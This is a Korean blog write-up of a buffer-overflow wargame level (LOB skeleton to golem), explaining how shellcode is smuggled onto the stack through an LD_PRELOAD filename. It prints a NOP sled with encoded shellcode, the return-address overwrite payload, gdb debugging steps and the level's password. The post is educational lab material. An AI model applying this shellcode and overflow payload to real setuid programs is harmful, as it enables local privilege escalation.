Writeup을 쓰다보니 문제 풀이라기 보다는, 문제를 풀면서 발생하는 현상들에 대한
설명이 많아졌네요.
그런 점이 도움이 되셨으면 좋겠습니다.
<문제 소스 코드>
buffer부터 시작하여 메모리 끝 영역까지(커널 영역 제외) 모두 초기화해 버린다.
아주 무지막지하다.
저번 문제에서 활용한 메모리 마지막 영역도 사용불가능하다는 것!
하지만 아직 스택을 사용할 수 있나보다.
어떻게 풀이해야할까? 이 문제는 리눅스 라이브러리에 대한 사전지식이 필요한 문제다.
<shellcode를 삽입할 수 있는 스택 영역 찾기>
모든 OS에는 메모리의 효율적인 사용을 위해서 라이브러리를 사용한다. 메모리 구조를 공부해보면, 공유 라이브러리 영역이 따로 있다.
우리는 스택 영역을 활용할 것인데 이 설명을 왜하는 것인가?
스택 영역에도 라이브러리가 하나 있기 때문이다. 바로 환경변수 LD_PRELOAD이다.
다음 사진을 보자.
[skeleton@localhost skeleton]$ mkdir /tmp/dirgolem;cd /tmp/dirgolem
[skeleton@localhost dirgolem]$ cat > lib.c
[skeleton@localhost dirgolem]$ touch lib.c
[skeleton@localhost dirgolem]$ ls -l
total 0
-rw-rw-r-- 1 skeleton skeleton 0 Nov 9 03:44 lib.c
[skeleton@localhost dirgolem]$ gcc -fPIC -shared lib.c -o lib.so
[skeleton@localhost dirgolem]$ export LD_PRELOAD="/tmp/dirgolem/lib.so"
[skeleton@localhost dirgolem]$ ls
lib.c lib.so
tmp 디렉토리에서 0 바이트짜리 파일을 gcc로 컴파일하여 so 파일을 만들었다.
-shared 옵션 : so 파일을 컴파일 하기 위한 옵션.
-fPIC : 쉽게 말해 so 파일의 속도 개선을 위한 옵션. 공유 라이브러리 컴파일 시 통상적으로 사용되는 옵션이다. 여기서는 큰 상관 없다.
so 파일 : shared object. 리눅스의 공유 라이브러리 파일 확장자.
export 명령어로 LD_PRELOAD 환경변수를 so 파일의 절대경로로 설정해준다음
ls 명령어로 경로가 잘 지정되었는 지 확인한다.
잘못 설정하였을 경우(경로명이 없거나 상대경로, 파일명을 잘못 기재)
모든 프로그램 실행 시 오류 메시지가 출력된다.
간단한 테스트 파일을 컴파일 한 후 ldd 명령어로 사용되는 라이브러리 파일들을 보니
LD_PRELOAD에서 설정한 lib.so가 등록된 것을 확인할 수 있다.
필자가 여지껏 LD_PRELOAD에 대해 설명한 것은 스택 상에 LD_PRELOAD의 파일명이 올라가기 때문이라고 앞에 이야기했었다.
이제 그 사실과 주소를 확인해보자!
gdb -q ./test
b main
r
x/10000s 0xbffff000
(엔터)
...
0xbfff0000이든 0xbffff000이든 찾다보면 LD_PRELOAD의 파일명이 스택 영역에 올라간 것을 확인할 수 있다.
그럼 이를 어떻게 이용할 수 있을까?
이전에도 그랬듯이, 파일명을 nop+쉘코드로 설정해주면 된다!
LD_PRELOAD에 사용되는 파일읜 내용은 무엇이 들어가든 의미가 없다.
그 이유는 setuid가 걸린 파일에서는 LD_PRELOAD가 작동하지 않기 때문이다.
그러나, 스택 내에 파일명은 올라가게된다.
자 이제 다음으로 넘어가보자.
<LD_PRELOAD 파일명에 shellcode 삽입>
unset LD_PRELOAD
mv lib.so `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
export LD_PRELOAD=/tmp/dirgolem/`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
ls #경로가 잘 입력되었는 지 확인. 정상적으로 작동하면 잘 입력된 것.
위 명령어를 통해 쉘코드를 파일명에 싣고, 다시 한번 gdb -q ./test를 통해 메모리에 잘 올라갔는 지 확인해보자.
쉘코드가 잘 올라갔다! 자 이제 저 주소로 RET 영역을 바꿔주자.
[skeleton@localhost dirgolem]$ ln -sf ~/golem test
[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·
Segmentation fault
[skeleton@localhost dirgolem]$ cp ~/golem test
[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·
Segmentation fault (core dumped)
[skeleton@localhost dirgolem]$ gdb -q -c core
심볼릭 링크를 통해 exploit을 시도했으나, seg fault가 발생했다.
무슨 문제일까?
core 파일을 확인하기 위해 바이너리 파일을 카피해와서 core 파일을 생성하여 확인해보았다.
우리가 변조한 RET 어드레스에는 쉘코드가 없는 것을 확인할 수 있었다.
맨 처음 드는 생각은 setuid가 걸린 파일이라서 그런가?이다.
하지만 그 문제가 아니다.
애초에 shellcode를 배치했던 위치보다 조금 더 낮은 주소에 위치하고 있는 것을 확인할 수 있다.
프로그램을 실행할 때마다 주소가 바뀌는 것일까?(=ASLR)
그것 또한 아니다. LOB는 Redhat 6.2 환경으로 ASLR이 적용되지 않는다.
무슨 문제일까?
이것은 바로 스택 프레임이 이 주소에 영향을 주었기 때문이다.
이전 문제에서 봤듯이, 스택 프레임의 크기 등 여러 요소에 따라 스택의 주소는 변화한다.
shellcode를 올린 영역 또한 스택 영역이기 때문에, 이에 영향을 받는 것이다.
만약 임의로 컴파일한 test 파일이 아니라 golem 파일을 복사해와서 LD_PRELOAD의 주소를 확인했다면
한 번에 exploit이 성공했을 것이다.
자 이제 정확히 알아낸 주소로 exploit을 시도해보자!
<exploit>
이 때 nop 영역 중 아무 주소로 RET 영역을 덮어써도 상관없으나
주소에 \x00이 포함될 경우, 페이로드가 끊기게 되므로 필자는 0xbffff501로 변조해주었다.
golem의 패스워드는 cup of coffee
어려운 문제였다.
나중에 더 자세한 내용으로 따로 포스팅하면 좋을듯 ..
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB darkknight -> bugbear (0) | 2015.11.15 |
---|---|
LOB golem -> darkknight (0) | 2015.11.14 |
LOB vampire -> skeleton (0) | 2015.11.14 |
LOB troll -> vampire (0) | 2015.11.13 |
LOB orge -> troll (0) | 2015.11.13 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/